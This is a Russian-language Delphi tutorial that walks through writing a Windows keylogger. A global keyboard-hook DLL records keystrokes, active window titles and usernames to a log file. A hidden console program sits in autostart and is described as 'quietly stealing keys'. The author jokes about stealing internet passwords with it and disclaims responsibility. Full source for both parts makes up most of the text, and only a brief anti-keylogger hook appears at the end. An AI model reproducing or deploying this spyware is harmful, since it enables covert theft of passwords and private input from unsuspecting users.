Автор: James Coldfate(Заинчковский Егор; coldfate@yandex.ru)
Всем привет! Сегодня мы будем писать кейлоггер. Для тех, кто не знает, кейлоггер – это клавиатурный шпион, программа, перехватывающая нажатые клавиши и записывающая их в отдельный файл. Зачем это нужно? Ну, например, я так таскал пароли доступа в Интернет:-)). Или набивший оскомину словарик ABBYY Lingvo со своим Ctrl+Ins+Ins. Ну а логгирование информации, вводимой в окна броузеров, диалоги регистрации и окно "Запуск от имени..." иногда бывает полезным... А чтобы не ломать голову над временем и местом нажатия клавиши, наш кейлоггер будет фиксировать не только нажатые клавиши, но и ряд прочих данных:
В этой статье я покажу не только как написать кейлоггер, но и как бороться с подобного рода явлениями. Хотелось бы ещё напомнить, что информация дана исключительно в образовательных целях, но на это явно всем плевать, а, значит, за весь вред, который Вы причините, Вы будете отвечать собственной головой. Моя хата с краю.
За помощь в написании статьи я выражаю большую признательность сайтам Delphi Kingdom и DelphiWorld
Ввод обычных символов с клавиатуры в Windows (как правило) отражается посылкой сообщений WM_KEYDOWN, WM_KEYUP окну, в которое осуществляется ввод. Эти сообщения передают виртуальные коды нажатых клавиш. С ними не удобно работать, поскольку нам самим придется преобразовывать их в вводимые символы, учитывая текущую кодировку, регистр и тд. В Win API этим занимается функция TranslateMessage(). Она транслирует эти сообщения с виртуальными кодами в символьные (WM_CHAR) и снова посылает их окну.
Наш кейлоггер будет использовать системные ловушки (hooks) для своих пакостных целей. Ловушка – это процедура, которая вызывается каждый раз во время определённого события, в нашем случае – нажатия клавиши. Обычно ловушка не одна, их там целое стадо, вернее, цепочка ловушек. Каждая ловушка должна передать управление следующей ловушке, иначе (в Windows 98) может появиться такой глюк, что Ваша клавиша в конце концов не дойдёт до системы и клава полностью будет блокирована:-))). В WinXP, по-моему, этот глюк исправлен. Я не проверял.
Установка ловушки производится процедурой SetWindowsHookEx со следующими параметрами:
| Имя параметра | Тип | Описание |
| idHook | Integer |
Тип ловушки. Может быть:
|
| lpfn | TFNHookProc (procedure(Code: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall) | Собственно процедура ловушки. Эта процедура должна постоянно присутствовать в памяти ДЛЯ ВСЕХ НИТЕЙ, поэтому мы её запихнём в DLL и будем вызывать оттуда. |
| hmod | HINST | Идентифицирует DLL, содержащую процедуру ловушки, на которую указывает параметр lpfn. Мы его установим равным HInstance. |
| dwThreadId | DWORD | Определяет идентификатор нити, с которым процедура ловушки должна быть связана. Если этот параметр - нуль, то процедура ловушки связана со всеми существующими нитями. Разумеется, в нашем кейлоггере этот параметр будет нулём. |
Вот так-то. Данная функция вернёт идентификатор ловушки, если та установлена успешно, и 0, если запрос провален. Снять ловушку можно процедурой UnhookWindowsHookEx с единственным параметром - идентификатором ловушки (тем, который вернула SetWindowsHookEx)
Теперь о параметрах процедуры ловушки. Параметр Code
целого типа определяет код использования процедуры ловушки. Этот параметр может
принимать одно из следующих значений:
wParam содержит код нажатой клавиши
lParam определяет повторный счет, скэн-код, флажок расширенной клавиши,
контекстный код, предыдущий флажок состояния клавиши, и флажок переходного состояния.
Этот параметр может быть комбинацией следующих значений (по битам):
Ловушка после неких ДЕЙСТВИЙ :-) должна передавать эстафету следующей в очереди с помощью процедуры CallNextHookEx. Её синтаксис:
function CallNextHookEx(hhk: HHOOK; nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
| Имя параметра | Тип | Описание |
| hhk | HHOOK | Идентификатор нашей ловушки. Эту переменную возвращает функция SetWindowsHookEx. |
| nCode | Integer | Код перехвата. Равен входному параметру Code в процедуре ловушки |
| wParam | WPARAM | wParam в нашей процедуре ловушки |
| lParam | LPARAM | lParam в нашей процедуре ловушки |
Наш кейлоггер, если уж на то пошло, будет цеплять клавиши и писать их в
файл, допустим, "C:\keylog.log". Но чтобы накрутить его всякими апгрейдами,
нам пригодятся дополнительные процедуры:
Так что кейлоггер у нас получится самый крутой, и
обмануть его без мышки будет ох как сложно (если Вы в процесе улучшения не наделаете
огрехов)... Запись в файл у нас будет производиться с помощью файловых
потоков (TFileStream). Если кто не знает, что это такое, советую прочитать,
потому что всё на них и зиждется.
С теорией всё. Если Вы дочитали до этого места за один присест, значит,
завтра пойдёт дождь ;-). Теперь начнём писАть...
Ну, полетела душа в рай...
Для начала определимся с типами данных
Каждая клавиша будет у нас представляться типом TLogKeyInfo - записью со следующими полями:
MyPChar = array[0..127] of Char;
TLogKeyInfo = record
WindowCaption: MyPChar; //Заголовок окна
UserName: MyPChar; //Имя пользователя
DateTime: TDateTime; //Дата-время
wParam, lParam: LongInt; //wParam и lParam
end;
Теперь напишем тело процедуры-ловушки. Она должна всего лишь
заполнять поля записи и вызывать процедуру обновления лог-файла. Давайте напишем:
function Key_Hook(Code: Integer; wParam: WPARAM; lParam: LPARAM):LRESULT; stdcall;
var newkey: TLogKeyInfo;
act: hwnd;
begin
If ((Code = HC_ACTION) and (Abs(lParam shr 31) = 1) then begin
act := GetActiveWindow;
GetWindowText(h, newkey.WindowCaption, SizeOf(newkey.WindowCaption));
newkey.WParam := wparam;
newkey.LParam := lparam;
newkey.DateTime := Now;
If not GetCurrentUserName(usern) then Usern := '
В этой процедуре мы берём на себя управление только если Code = HC_ACTION (ловушка может обработать событие) и если клавиша нажимается (31-й бит равен 1), возвращая 0, а иначе вызываем следующую ловушку.
Теперь напишем функцию установки/снятия ловушки.
procedure SwitchHook(var HookId: HHOOK; const Enable: Boolean);
begin
If Enable then
HookId := SetWindowsHookEx(WH_KEYBOARD, Key_Hook, HInstance, 0)
else
UnhookWindowsHookEx(HookId);
end;
Эта функция устанавливает ловушку, если Enable=True (в этом случае в HookId будет храниться идентификатор ловушки), иначе снимает ловушку с идентификатором HookId.
Что ещё осталось? Ах да, запись в файл. Процедура WriteLog. Ну что ж, напишем и её:
procedure WriteLog(const logel: TLogKeyInfo);
var logf: TFileStream;
begin
try
logf := TFileStream.Create('C:\keylog.log', fmOpenReadWrite or fmCreate);
logf.Seek(0, soFromEnd);
logf.Write(logel, SizeOf(TLogKeyInfo)
logf.Free;
except
end;
end;
Недостаток этого метода в том, что из-за использования файловых потоков наша библиотека распухнет килобайт на 90. Тогда можно переписать всё на WinAPI:
procedure WriteLog(const logel: TLogKeyInfo);
var
hFile: THandle;
dwError: DWord;
dwWritten: DWord;
begin
hFile := CreateFile('C:\keylog.log', GENERIC_WRITE, 0, nil,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
try
If (hFile <> INVALID_HANDLE_VALUE) Then
begin
dwError := SetFilePointer(hFile, 0, nil, FILE_END);
If (dwError <> $FFFFFFFF) Then
WriteFile(hFile, log, SizeOf(TLogKeyInfo), dwWritten, nil);
end;
finally
CloseHandle(hFile);
end;
end;
Ну вот и всё. Разработка библиотеки закончена. Осталось лишь написать исходники библиотеки и главной программы и наш кейлоггер готов.
На основе вышеизложенного материала я написал кейлоггер и предоставляю его Вам. Сдирайте сколько угодно, но, пожалуйста, оставляйте копирайт!!! И помните: отличие ламера от настоящего программиста состоит в том, что ламер умеет только кидать на форму готовые компоненты и передирать куски чужого кода, а программист может разобраться в проблеме и написать что-то своё. Надеюсь, Вы принадлежите ко второй категории.
library keyhook;
{$X+}
{$T-}
uses
SysUtils,
Windows,
messages;
type
MyPChar = array[0..127] of Char;
TLogKeyInfo=record
WindowCaption, UserName: MyPChar;
Time: TDateTime;
WParam, LParam:LongInt;
end;
PLogKeyInfo = ^TLogKeyInfo;
{$R *.res}
var HHookId: HHook;
CurKey: Integer = 0;
//==============================================================================
procedure WriteLog(const log: TLogKeyInfo);
//Добавление записи в лог-файл
var
hFile: THandle;
dwError: DWord;
dwWritten: DWord;
begin
hFile := CreateFile('C:\keylog.log', GENERIC_WRITE, 0, nil, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, 0);
try
If (hFile <> INVALID_HANDLE_VALUE) Then
begin
dwError := SetFilePointer(hFile, 0, nil, FILE_END);
If (dwError <> $FFFFFFFF) Then
WriteFile(hFile, log, SizeOf(TLogKeyInfo), dwWritten, nil);
end;
finally
CloseHandle(hFile);
end;
end;
//==============================================================================
function GetCurrentUserName(var CurrentUserName: PChar): Boolean; stdcall;
//Получение имени текущего пользователя
var
BufferSize: DWORD;
pUser: PChar;
begin
BufferSize := 0;
GetUserName(nil, BufferSize);
pUser := StrAlloc(BufferSize);
CurrentUserName := StrAlloc(BufferSize);
try
Result := GetUserName(pUser, BufferSize);
StrCopy(CurrentUserName, pUser);
finally
StrDispose(pUser);
end;
end;
//==============================================================================
function Key_Hook(Code: integer; wParam: wparam; lParam: lparam): LResult; stdcall;
var h:Hwnd;
newkey: TLogKeyInfo;
Usern: PChar;
begin
If (Code = HC_ACTION) And (Abs((lParam shr 31)) = 1) then begin
h := GetActiveWindow; //Получаем заголовок
GetWindowText(h, newkey.WindowCaption,SizeOf(newkey.WindowCaption)); //Заголовок окна
newkey.WParam := wparam;
newkey.LParam := lparam;
newkey.Time := Now;
If not GetCurrentUserName(usern) then Usern := '<БОРИК КОКОС>';
StrCopy(newkey.UserName, Usern);
WriteLog(newkey);
Result := 0;
end else
Result := CallNextHookEx(HHookId,Code,WParam,LParam);
end;
//==============================================================================
function SetHook(const Enabled: Boolean): Hwnd;stdcall;
begin
Result := 0;
If Enabled then begin
HHookId := SetWindowsHookEx(WH_KEYBOARD, Key_Hook, Hinstance, 0);
Result := HHookId;
end else
UnHookWindowsHookEx(HHookId);
end;
//==============================================================================
exports SetHook, GetCurrentUserName;
begin
end.
|
Ну вот. Про всякие вспомогательные функции вроде StrPCopy я рассказывать не буду, потому что моя статья рассчитана не на "чайников", а хотя бы на "утюгов". А про всё остальное я уже рассказал выше. Теперь пора наконец написать программу, которая будет управлять нашим шпионом ("генштаб"). В идеале, конечно, нам бы ох как пригодился сервис, но про него долго рассказывать, а мне писать этот текст, признаться, надоело:-). К тому же знающие люди смогут написать сервис и без меня, а новичкам я советую поискать инфу в Интернете, в частности, на Delphi Kingdom или в DelphiWorld .Посидите на форумах. Иногда полезно.
Ну хватит трепача. Давайте уже напишем прогу. Она будет предельно проста:
program Project1;
uses SysUtils;
{$R *.res}
function SetHook(const Enabled: Boolean): Hwnd; stdcall; external 'keyhook.dll';
begin
SetHook(True);
While True do
Sleep(10000000);
end;
end.
|
В этой программе ловушка не снимается, потому что это "вечно работающий" генштаб. Он у нас будет сидеть в автозапуске и тихо таскать клавиши. Кроме того, он должен быть невидимым, поэтому создаваемое Вами приложение должно быть консольным. Строчку {$APPTYPE CONSOLE}, конечно, убираем. Инструкция Sleep нужна, поскольку в процессе тестирования было обнаружено, что бесконечный цикл сильно тормозит систему:-(, а Sleep почти сводит на нет этот эффект.
Однако, ввод в некоторые окна наша программа не перехватывает.Во-первых, это консольные окна в Win NT/2k/XP. Причина этому очень проста - сообщения WM_KEYDOWN и WM_KEYUP не транслируются в WM_CHAR. Этим окнам просто не приходит сообщение WM_CHAR. Во-вторых, консольные окна Win9X. Там ввод с клавиатуры в консольное окно вообще не отражается посылкой сообщений. И наконец, окошко winlogon - "специального" процесса в Win NT/2k/XP.
Вот и всё насчёт создания кейлоггеров. Теперь давайте рассмотрим, как с ними бороться.
Наш антикейлоггер будет представлять собой такую же ловушку, что и кейлоггер, с тем отличием, что ловушка будет устанавливаться на WH_DEBUG, а, значит, будет получать сообщение первее, чем кейлоггер со своим WH_KEYBOARD. Так что ни одна клавиатурная ловушка не получит своё сообщение:
function Debug_Hook(Code: LongInt; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
If (Code = HC_ACTION) then begin
If (wParam = WH_KEYBOARD) then begin
Result := 1;
Exit;
end;
end else
Result := CallNextHookEx(Hook, nCode, wParam, lParam);
end;
|
Вот и всё. Немного напрягает, конечно, условие "If Code = HC_ACTION ", но кейлоггеры обычно не ловят сообщение HC_NOREMOVE. А суть тут в том, что наша Debug_Hook будет пропускать клавиатурные сообщения мимо ловушек. Само собой, ABBYY Lingvo обламывается. Вот и всё.
В этой статье рассмотрен только один спосо кейлоггинга. Существуют и другие, например, использование функции GetAsyncKeyState или гораздо более навороченные, чем наш, снабжённые драйверами с целой армией функций с наводящими жуть названиями. Их создание, разумеется, в одну статью не впихнёшь...Тот кейлоггер, который я описал, особой оригинальностью не блещет, но я буду очень рад, если кому-то он пригодится. В любом случае, если Вы провели время с пользой, я буду считать свой труд не напрасным. Если же Вам захочется узнать о системных хуках или перехвате сообщений больше, то моя миссия полностью выполнена. Для общего развития скажу, что использование хуков в нашем кейлоггере было несколько однобоким. С помощью ловушки на WH_GETMESSAGE можно даже заблокировать пункты меню во внешних программах, это очень круто...=). Но такие задачи выходят за рамки данной статьи.
Удачи!
С уважением, James Coldfate.
P.S. Если у Вас есть вопросы, пожелания или конструктивная критика - пишите на
Coldfate@yandex.ru.